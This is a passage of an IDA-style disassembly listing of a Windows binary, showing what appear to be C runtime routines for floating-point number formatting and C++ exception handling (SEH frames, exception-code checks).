jz short loc_421951 mov cl, [eax+1] inc eax test cl, cl jnz short loc_421945 loc_421951: ; CODE XREF: sub_421935+Ej ; sub_421935+12j mov cl, [eax] inc eax test cl, cl jz short locret_421982 loc_421958: ; CODE XREF: sub_421935+34j mov cl, [eax] test cl, cl jz short loc_42196B cmp cl, 65h jz short loc_42196B cmp cl, 45h jz short loc_42196B inc eax jmp short loc_421958 ; --------------------------------------------------------------------------- loc_42196B: ; CODE XREF: sub_421935+27j ; sub_421935+2Cj ... mov ecx, eax loc_42196D: ; CODE XREF: sub_421935+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_42196D cmp [eax], dl jnz short loc_421978 dec eax loc_421978: ; CODE XREF: sub_421935+40j ; sub_421935+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_421978 locret_421982: ; CODE XREF: sub_421935+21j retn sub_421935 endp ; =============== S U B R O U T I N E ======================================= sub_421983 proc near ; DATA XREF: sub_41C760+28o ; ___:off_43CF90o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_427878 fnstsw ax sahf jb short loc_421998 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_421998: ; CODE XREF: sub_421983+Fj xor eax, eax retn sub_421983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42199B proc near ; CODE XREF: sub_420510+430p ; DATA XREF: sub_41C760+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_4219C4 lea eax, [ebp+var_8] push eax call sub_424518 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_4219C4: ; CODE XREF: sub_42199B+Cj lea eax, [ebp+arg_8] push eax call sub_424545 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_42199B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219D9 proc near ; CODE XREF: sub_421C56+17p ; sub_421CA0+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4DB9F0, 0 push ebx push esi jz short loc_421A0E mov ebx, [ebp+arg_8] mov eax, dword_4DB9EC xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_421CF1 pop ecx pop ecx jmp short loc_421A46 ; --------------------------------------------------------------------------- loc_421A0E: ; CODE XREF: sub_4219D9+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_4245E9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424572 add esp, 14h loc_421A46: ; CODE XREF: sub_4219D9+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_421A52 mov byte ptr [eax], 2Dh inc eax loc_421A52: ; CODE XREF: sub_4219D9+73j test ebx, ebx jle short loc_421A6A mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43CBE8 mov eax, edi pop edi mov [eax], cl loc_421A6A: ; CODE XREF: sub_4219D9+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4DB9F0, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41BEB0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_421A91 mov byte ptr [ecx], 45h loc_421A91: ; CODE XREF: sub_4219D9+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_421AD6 mov ebx, [esi+4] dec ebx jns short loc_421AA5 neg ebx mov byte ptr [ecx], 2Dh loc_421AA5: ; CODE XREF: sub_4219D9+C5j inc ecx cmp ebx, 64h jl short loc_421ABC mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421ABC: ; CODE XREF: sub_4219D9+D0j inc ecx cmp ebx, 0Ah jl short loc_421AD3 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421AD3: ; CODE XREF: sub_4219D9+E7j add [ecx+1], bl loc_421AD6: ; CODE XREF: sub_4219D9+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_4219D9 endp ; =============== S U B R O U T I N E ======================================= sub_421ADD proc near ; CODE XREF: sub_421C7D+13p ; sub_421CA0+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4DB9F0, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_421B18 mov eax, dword_4DB9F4 mov ebx, [esp+10h+arg_8] mov esi, dword_4DB9EC cmp eax, ebx jnz short loc_421B48 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_421B48 ; --------------------------------------------------------------------------- loc_421B18: ; CODE XREF: sub_421ADD+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_4245E9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424572 add esp, 14h loc_421B48: ; CODE XREF: sub_421ADD+22j ; sub_421ADD+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_421B56 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_421B56: ; CODE XREF: sub_421ADD+70j mov eax, [esi+4] test eax, eax jg short loc_421B6D push 1 push edi call sub_421CF1 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_421B6F ; --------------------------------------------------------------------------- loc_421B6D: ; CODE XREF: sub_421ADD+7Ej add edi, eax loc_421B6F: ; CODE XREF: sub_421ADD+8Ej test ebx, ebx jle short loc_421BB4 push 1 push edi call sub_421CF1 mov al, byte_43CBE8 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_421BB4 cmp byte_4DB9F0, 0 jz short loc_421B99 neg esi jmp short loc_421B9F ; --------------------------------------------------------------------------- loc_421B99: ; CODE XREF: sub_421ADD+B6j neg esi cmp ebx, esi jl short loc_421BA1 loc_421B9F: ; CODE XREF: sub_421ADD+BAj mov ebx, esi loc_421BA1: ; CODE XREF: sub_421ADD+C0j push ebx push edi call sub_421CF1 push ebx push 30h push edi call sub_41B590 add esp, 14h loc_421BB4: ; CODE XREF: sub_421ADD+94j ; sub_421ADD+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_421ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BBB proc near ; CODE XREF: sub_421CA0+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_4245E9 mov dword_4DB9EC, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4DB9F4, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424572 mov eax, dword_4DB9EC add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4DB9F4, ecx setl cl mov byte_4DB9F8, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4DB9F4, eax jl short loc_421C41 cmp eax, ebx jge short loc_421C41 test cl, cl jz short loc_421C32 loc_421C28: ; CODE XREF: sub_421BBB+72j mov al, [esi] inc esi test al, al jnz short loc_421C28 and [esi-2], al loc_421C32: ; CODE XREF: sub_421BBB+6Bj push ebx push [ebp+arg_4] push edi call sub_421C7D add esp, 0Ch jmp short loc_421C51 ; --------------------------------------------------------------------------- loc_421C41: ; CODE XREF: sub_421BBB+63j ; sub_421BBB+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_421C56 add esp, 10h loc_421C51: ; CODE XREF: sub_421BBB+84j pop edi pop esi pop ebx pop ebp retn sub_421BBB endp ; =============== S U B R O U T I N E ======================================= sub_421C56 proc near ; CODE XREF: sub_421BBB+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4DB9F0, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4219D9 and byte_4DB9F0, 0 add esp, 10h retn sub_421C56 endp ; =============== S U B R O U T I N E ======================================= sub_421C7D proc near ; CODE XREF: sub_421BBB+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4DB9F0, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_421ADD and byte_4DB9F0, 0 add esp, 0Ch retn sub_421C7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421CA0 proc near ; CODE XREF: sub_41F69F+3AAp ; DATA XREF: sub_41C760o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_421CDB cmp [ebp+arg_8], 45h jz short loc_421CDB cmp [ebp+arg_8], 66h jnz short loc_421CC8 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421ADD add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_421CC8: ; CODE XREF: sub_421CA0+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421BBB jmp short loc_421CEC ; --------------------------------------------------------------------------- loc_421CDB: ; CODE XREF: sub_421CA0+7j ; sub_421CA0+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4219D9 loc_421CEC: ; CODE XREF: sub_421CA0+39j add esp, 10h pop ebp retn sub_421CA0 endp ; =============== S U B R O U T I N E ======================================= sub_421CF1 proc near ; CODE XREF: sub_4219D9+2Cp ; sub_421ADD+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_421D14 push esi mov esi, [esp+8+arg_0] push esi call sub_41AFE0 inc eax push eax push esi add esi, edi push esi call sub_41CC90 add esp, 10h pop esi loc_421D14: ; CODE XREF: sub_421CF1+7j pop edi retn sub_421CF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421D16 proc near ; CODE XREF: ___:0041C940p ; sub_41C9A9+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_421D2C call sub_4225B2 loc_421D2C: ; CODE XREF: sub_421D16+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_421D54 cmp dword ptr [esi+4], 0 jz short loc_421DAA cmp [ebp+arg_14], 0 jnz short loc_421DAA push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_42205D add esp, 10h jmp short loc_421DAA ; --------------------------------------------------------------------------- loc_421D54: ; CODE XREF: sub_421D16+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_421DAA cmp dword ptr [eax], 0E06D7363h jnz short loc_421D8E cmp [eax+14h], edi jbe short loc_421D8E mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_421D8E movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_421DAD ; --------------------------------------------------------------------------- loc_421D8E: ; CODE XREF: sub_421D16+4Aj ; sub_421D16+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_421DB1 add esp, 20h loc_421DAA: ; CODE XREF: sub_421D16+23j ; sub_421D16+29j ... push 1 pop eax loc_421DAD: ; CODE XREF: sub_421D16+76j pop edi pop esi pop ebp retn sub_421D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421DB1 proc near ; CODE XREF: sub_421D16+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_421DD1 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_421DD6 loc_421DD1: ; CODE XREF: sub_421DB1+16j call sub_4225B2 loc_421DD6: ; CODE XREF: sub_421DB1+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A mov esi, dword_4DB9FC test esi, esi jz loc_421F28 mov eax, dword_4DBA00 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424770 pop ecx test eax, eax pop ecx jnz short loc_421E2C call sub_4225B2 loc_421E2C: ; CODE XREF: sub_421DB1+74j cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A call sub_4225B2 loc_421E4A: ; CODE XREF: sub_421DB1+41j ; sub_421DB1+46j ... cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz loc_421F2D cmp [esi+14h], edi jnz loc_421F2D mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov ebx, eax loc_421E81: ; CODE XREF: sub_421DB1+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_421F18 cmp [ebx], edi jg short loc_421F0D cmp edi, [ebx+4] jg short loc_421F0D mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_421F0A loc_421EA6: ; CODE XREF: sub_421DB1+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_421ED7 loc_421EB8: ; CODE XREF: sub_421DB1+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_422000 add esp, 0Ch test eax, eax jnz short loc_421EE6 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_421EB8 loc_421ED7: ; CODE XREF: sub_421DB1+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_421EA6 jmp short loc_421F0A ; --------------------------------------------------------------------------- loc_421EE6: ; CODE XREF: sub_421DB1+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421F0A: ; CODE XREF: sub_421DB1+F3j ; sub_421DB1+133j mov edi, [ebp+var_10] loc_421F0D: ; CODE XREF: sub_421DB1+DEj ; sub_421DB1+E3j inc [ebp+var_4] add ebx, 14h jmp loc_421E81 ; --------------------------------------------------------------------------- loc_421F18: ; CODE XREF: sub_421DB1+D6j cmp [ebp+arg_14], 0 jz short loc_421F28 push 1 push esi call sub_422486 pop ecx pop ecx loc_421F28: ; CODE XREF: sub_421DB1+56j ; sub_421DB1+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421F2D: ; CODE XREF: sub_421DB1+37j ; sub_421DB1+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_421F53 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_421F58 add esp, 20h jmp short loc_421F28 ; --------------------------------------------------------------------------- loc_421F53: ; CODE XREF: sub_421DB1+180j jmp sub_42255C sub_421DB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F58 proc near ; CODE XREF: sub_421DB1+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4DBA04, 0 push esi push edi jz short loc_421F89 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41C9CE add esp, 1Ch test eax, eax jnz short loc_421FFC loc_421F89: ; CODE XREF: sub_421F58+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov esi, eax loc_421FA5: ; CODE XREF: sub_421F58+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_421FFC cmp edi, [esi] jl short loc_421FF4 cmp edi, [esi+4] jg short loc_421FF4 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_421FCE cmp byte ptr [ecx+8], 0 jnz short loc_421FF4 loc_421FCE: ; CODE XREF: sub_421F58+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421FF4: ; CODE XREF: sub_421F58+57j ; sub_421F58+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_421FA5 ; --------------------------------------------------------------------------- loc_421FFC: ; CODE XREF: sub_421F58+2Fj ; sub_421F58+53j pop edi pop esi leave retn sub_421F58 endp ; =============== S U B R O U T I N E ======================================= sub_422000 proc near ; CODE XREF: sub_421DB1+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_422057 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_422057 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_422031 add ecx, 8 push ecx push edx call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_422053 loc_422031: ; CODE XREF: sub_422000+1Fj test byte ptr [esi], 2 jz short loc_42203B test byte ptr [edi], 8 jz short loc_422053 loc_42203B: ; CODE XREF: sub_422000+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_42204A test byte ptr [edi], 1 jz short loc_422053 loc_42204A: ; CODE XREF: sub_422000+43j test al, 2 jz short loc_422057 test byte ptr [edi], 2 jnz short loc_422057 loc_422053: ; CODE XREF: sub_422000+2Fj ; sub_422000+39j ... xor eax, eax jmp short loc_42205A ; --------------------------------------------------------------------------- loc_422057: ; CODE XREF: sub_422000+Bj ; sub_422000+14j ... push 1 pop eax loc_42205A: ; CODE XREF: sub_422000+55j pop edi pop esi retn sub_422000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42205D proc near ; CODE XREF: sub_421D16+34p ; ___:00422153p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278C0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_42208F: ; CODE XREF: sub_42205D+8Aj cmp esi, [ebp+arg_C] jz short loc_4220E9 cmp esi, 0FFFFFFFFh jle short loc_42209E cmp esi, [edi+4] jl short loc_4220A3 loc_42209E: ; CODE XREF: sub_42205D+3Aj call sub_4225B2 loc_4220A3: ; CODE XREF: sub_42205D+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_4220BE push 103h push ebx push eax call sub_422510 loc_4220BE: ; CODE XREF: sub_42205D+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_4220DE ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_4220FB pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_4220DE: ; CODE XREF: sub_42205D+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_42208F ; --------------------------------------------------------------------------- loc_4220E9: ; CODE XREF: sub_42205D+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42205D endp ; =============== S U B R O U T I N E ======================================= sub_4220FB proc near ; CODE XREF: sub_42205D+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_42210C xor eax, eax retn ; --------------------------------------------------------------------------- loc_42210C: ; CODE XREF: sub_4220FB+Cj jmp sub_42255C sub_4220FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_422111 proc near ; CODE XREF: sub_421DB1+151p ; sub_421F58+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_422133 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_4222C2 add esp, 10h loc_422133: ; CODE XREF: sub_422111+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_42213F push edi jmp short loc_422142 ; --------------------------------------------------------------------------- loc_42213F: ; CODE XREF: sub_422111+29j push [ebp+arg_24] loc_422142: ; CODE XREF: sub_422111+2Cj call sub_41C8D0 sub_422111 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_42205D mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_42218C add esp, 2Ch test eax, eax jz short loc_422187 push edi push eax call sub_41C88E loc_422187: ; CODE XREF: ___:0042217Ej pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42218C proc near ; CODE XREF: ___:00422174p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278D0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4DB9FC mov [ebp+var_1C], ecx mov ecx, dword_4DBA00 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4DB9FC, edi mov ecx, [ebp+arg_8] mov dword_4DBA00, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41C955 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422252 mov eax, [ebp+var_2C] loc_422219: ; CODE XREF: sub_422232+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42218C endp ; =============== S U B R O U T I N E ======================================= sub_422228 proc near ; DATA XREF: ___:004278E0o push dword ptr [ebp-14h] call sub_422298 pop ecx retn sub_422228 endp ; =============== S U B R O U T I N E ======================================= sub_422232 proc near ; DATA XREF: ___:004278E4o mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41CBB6 pop ecx pop ecx xor eax, eax jmp short loc_422219 sub_422232 endp ; --------------------------------------------------------------------------- loc_42224A: ; DATA XREF: ___:004278D8o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422252 proc near ; CODE XREF: sub_42218C+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4DB9FC, eax mov eax, [ebp-20h] mov dword_4DBA00, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_422297 cmp dword ptr [edi+10h], 3 jnz short locret_422297 cmp dword ptr [edi+14h], 19930520h jnz short locret_422297 cmp [ebp-24h], ebx jnz short locret_422297 cmp [ebp-2Ch], ebx jz short locret_422297 call sub_41CC1E push eax push edi call sub_422486 pop ecx pop ecx locret_422297: ; CODE XREF: sub_422252+1Cj ; sub_422252+22j ... retn sub_422252 endp ; =============== S U B R O U T I N E ======================================= sub_422298 proc near ; CODE XREF: sub_422228+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_4222BF cmp dword ptr [eax+10h], 3 jnz short loc_4222BF cmp dword ptr [eax+14h], 19930520h jnz short loc_4222BF cmp dword ptr [eax+1Ch], 0 jnz short loc_4222BF push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4222BF: ; CODE XREF: sub_422298+Cj ; sub_422298+12j ... xor eax, eax retn sub_422298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4222C2 proc near ; CODE XREF: sub_422111+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278E8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_42246B cmp byte ptr [eax+8], 0 jz loc_42246B mov eax, [ecx+8] test eax, eax jz loc_42246B mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_42235F mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_422350: ; CODE XREF: sub_4222C2+F5j push eax call sub_4224ED pop ecx pop ecx mov [edi], eax jmp loc_422467 ; --------------------------------------------------------------------------- loc_42235F: ; CODE XREF: sub_4222C2+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_4223B9 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_424770 pop ecx pop 